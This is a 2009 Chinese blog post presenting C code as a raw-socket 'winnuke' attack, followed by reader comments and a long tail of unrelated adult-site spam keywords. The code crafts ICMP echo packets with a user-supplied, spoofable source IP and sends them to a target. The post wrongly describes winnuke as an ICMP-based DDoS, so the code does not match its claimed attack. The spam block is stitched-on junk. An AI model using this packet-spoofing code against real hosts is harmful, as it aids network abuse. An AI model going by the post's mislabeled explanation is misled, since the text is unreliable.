• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            aurain
            技術(shù)文摘
            posts - 137,  comments - 268,  trackbacks - 0

            winnuke攻擊是ddos攻擊的一種,詳見(jiàn)http://m.shnenglu.com/aurain/archive/2009/02/16/73935.html

            本文是通過(guò)raw socket來(lái)構(gòu)造這種icmp包來(lái)實(shí)施攻擊,詳見(jiàn)代碼(需要在Windows 2000,2003才能運(yùn)行,xp sp2禁止發(fā)送raw包)

            ///////////////////////////////////////////
            // ping.cpp文件

            #include <winsock2.h>
            #pragma comment(lib, "WS2_32") // 鏈接到WS2_32.lib

            #include <stdio.h>
            #include <ws2tcpip.h> // 定義了IP_HDRINCL

            // 協(xié)議
            #define PROTO_ICMP    1

            typedef struct _IPHeader  // 20字節(jié)的IP頭
            {
             UCHAR     iphVerLen;      // 版本號(hào)和頭長(zhǎng)度(各占4位)
             UCHAR     ipTOS;          // 服務(wù)類(lèi)型
             USHORT    ipLength;       // 封包總長(zhǎng)度,即整個(gè)IP報(bào)的長(zhǎng)度
             USHORT    ipID;     // 封包標(biāo)識(shí),惟一標(biāo)識(shí)發(fā)送的每一個(gè)數(shù)據(jù)報(bào)
             USHORT    ipFlags;       // 標(biāo)志
             UCHAR     ipTTL;       // 生存時(shí)間,就是TTL
             UCHAR     ipProtocol;     // 協(xié)議,可能是TCP、UDP、ICMP等
             USHORT    ipChecksum;     // 校驗(yàn)和
             ULONG     ipSource;       // 源IP地址
             ULONG     ipDestination;  // 目標(biāo)IP地址
            } IPHeader, *PIPHeader;

            typedef struct icmp_hdr
            {
                unsigned char   icmp_type;  // 消息類(lèi)型
                unsigned char   icmp_code;  // 代碼
                unsigned short  icmp_checksum; // 校驗(yàn)和
             // 下面是回顯頭
                unsigned short  icmp_id;  // 用來(lái)惟一標(biāo)識(shí)此請(qǐng)求的ID號(hào),通常設(shè)置為進(jìn)程ID
                unsigned short  icmp_sequence; // 序列號(hào)
                unsigned long   icmp_timestamp; // 時(shí)間戳
            } ICMP_HDR, *PICMP_HDR;

            // 校驗(yàn)和的計(jì)算
            // 以16位的字為單位將緩沖區(qū)的內(nèi)容相加,如果緩沖區(qū)長(zhǎng)度為奇數(shù),
            // 則再加上一個(gè)字節(jié)。它們的和存入一個(gè)32位的雙字中
            USHORT checksum(USHORT* buff, int size)
            {
             unsigned long cksum = 0;
             while(size>1)
             {
              cksum += *buff++;
              size -= sizeof(USHORT);
             }
             // 是奇數(shù)
             if(size)
             {
              cksum += *(UCHAR*)buff;
             }
             // 將32位的chsum高16位和低16位相加,然后取反
             cksum = (cksum >> 16) + (cksum & 0xffff);
             cksum += (cksum >> 16);   // ??? 
             return (USHORT)(~cksum);
            }

            int main(int argc, char** argv)
            {
             char szDestIp[20] = {0};    //  <<== 填寫(xiě)目的IP地址,即要Ping的IP地址
             char szSourceIp[20] = {0};      //  <<== 填寫(xiě)您自己的IP地址

             //printf("dest ip:");
             //scanf("%s", szDestIp);
             //printf("\nsource ip:");
             //scanf("%s", szSourceIp);

             if (argc < 3)
             {
              printf("ping dstip srcip\n");
              exit(1);
             }

             strcpy(szDestIp, argv[1]);
             strcpy(szSourceIp, argv[2]);

             printf("dest ip: %s\n", szDestIp);
             printf("source ip: %s\n", szSourceIp);

             // 初始化WS2_32.dll
             WSADATA wsaData;
             WORD sockVersion = MAKEWORD(2, 2);
             if(::WSAStartup(sockVersion, &wsaData) != 0)
             {
              exit(0);
             }

             // 創(chuàng)建原始套節(jié)字
             SOCKET sRaw = ::socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

             // 有效IP頭包含選項(xiàng)
             BOOL bIncl = TRUE;
             ::setsockopt(sRaw, IPPROTO_IP, IP_HDRINCL, (char *)&bIncl, sizeof(bIncl));

             // 設(shè)置目的地址
             SOCKADDR_IN dest;
             dest.sin_family = AF_INET;
             dest.sin_port = htons(0);
             dest.sin_addr.S_un.S_addr = inet_addr(szDestIp);

             char buff[sizeof(IPHeader) + sizeof(ICMP_HDR) + 32] = {0};

             // IP頭
             IPHeader *pIphdr = (IPHeader *)buff;
             pIphdr->iphVerLen = (4<<4 | (sizeof(IPHeader)/sizeof(ULONG)));

             pIphdr->ipLength = ::htons(sizeof(IPHeader) + sizeof(ICMP_HDR) + 32);
             pIphdr->ipTTL = 128;
             pIphdr->ipProtocol = IPPROTO_ICMP;
             pIphdr->ipSource = ::inet_addr(szSourceIp);
             pIphdr->ipDestination = ::inet_addr(szDestIp);
             pIphdr->ipChecksum = checksum((USHORT*)pIphdr, sizeof(IPHeader));

             // 創(chuàng)建ICMP封包
             ICMP_HDR* pIcmp = (ICMP_HDR*)&buff[sizeof(IPHeader)];
             // 填寫(xiě)ICMP封包數(shù)據(jù)
             pIcmp->icmp_type = 8; // 請(qǐng)求一個(gè)ICMP回顯
             pIcmp->icmp_code = 0;
             pIcmp->icmp_id = (USHORT)::GetCurrentProcessId();
             pIcmp->icmp_checksum = 0;
             pIcmp->icmp_sequence = 0;
             // 填充數(shù)據(jù)部分,可以為任意
             memset(&buff[sizeof(IPHeader) + sizeof(ICMP_HDR)], 'E', 32);
             
             // 開(kāi)始發(fā)送和接收ICMP封包
             USHORT nSeq = 0;
             SOCKADDR_IN from;
             int nLen = sizeof(from);
             while(TRUE)
             {
              static int nCount = 0;
              int nRet;
              if(nCount++ == 4)
               break;
              pIcmp->icmp_checksum = 0;
              pIcmp->icmp_timestamp = ::GetTickCount();
              pIcmp->icmp_sequence = nSeq++;
              pIcmp->icmp_checksum = checksum((USHORT*)buff, sizeof(ICMP_HDR) + 32);
              nRet = ::sendto(sRaw, buff, sizeof(IPHeader) + sizeof(ICMP_HDR) + 32, 0, (SOCKADDR *)&dest, sizeof(dest));
              if(nRet == SOCKET_ERROR)
              {
               printf(" sendto() failed: %d \n", ::WSAGetLastError());
               return -1;
              }
              ::Sleep(1000);
             }

             ::WSACleanup();

             return 0;
            }

             

             

            posted on 2009-04-01 13:50 閱讀(2641) 評(píng)論(2)  編輯 收藏 引用 所屬分類(lèi): 網(wǎng)絡(luò)安全

            FeedBack:
            # re: 通過(guò)raw socket實(shí)現(xiàn)winnuke攻擊
            2009-04-01 15:44 | Bill Gates
            winnuke。。。貌似只對(duì)win98有效吧。。。  回復(fù)  更多評(píng)論
              
            # re: 通過(guò)raw socket實(shí)現(xiàn)winnuke攻擊
            2009-04-01 22:37 |
            @Bill Gates
            嗯,是這樣的,這里只是當(dāng)作用來(lái)學(xué)習(xí)的例子  回復(fù)  更多評(píng)論
              

            <2008年3月>
            2425262728291
            2345678
            9101112131415
            16171819202122
            23242526272829
            303112345

            常用鏈接

            留言簿(17)

            隨筆分類(lèi)(138)

            隨筆檔案(137)

            網(wǎng)絡(luò)開(kāi)發(fā)

            最新隨筆

            搜索

            •  

            積分與排名

            • 積分 - 498811
            • 排名 - 36

            最新隨筆

            最新評(píng)論

            閱讀排行榜

            評(píng)論排行榜

            日本久久中文字幕| 久久午夜夜伦鲁鲁片免费无码影视| 色综合久久中文字幕无码| 国产激情久久久久久熟女老人| 亚洲综合熟女久久久30p| 久久r热这里有精品视频| 久久久久久A亚洲欧洲AV冫| 99久久精品免费看国产一区二区三区 | 久久久噜噜噜久久中文福利| 久久超碰97人人做人人爱| 99久久精品免费看国产免费| 综合久久一区二区三区 | 精品国产乱码久久久久久人妻 | 97久久综合精品久久久综合| 久久久久久国产精品免费免费| 亚洲av日韩精品久久久久久a| 国产精品伦理久久久久久| 天天躁日日躁狠狠久久| 久久免费观看视频| 色综合久久精品中文字幕首页| 国内精品伊人久久久久妇| 办公室久久精品| 狠狠色丁香久久综合五月| 偷窥少妇久久久久久久久| 亚洲欧美精品伊人久久| 久久精品国产亚洲av水果派 | 久久久久国产亚洲AV麻豆| 久久不见久久见免费视频7| 精品国产日韩久久亚洲| 久久久免费观成人影院 | 色婷婷综合久久久中文字幕| 久久最新免费视频| 久久久久国色AV免费看图片| 国产女人aaa级久久久级| 国内精品久久国产大陆| 狼狼综合久久久久综合网| 一本色道久久综合亚洲精品| 日韩人妻无码精品久久久不卡| 亚洲中文字幕无码久久综合网| 99精品国产综合久久久久五月天| 久久青青草原精品国产不卡|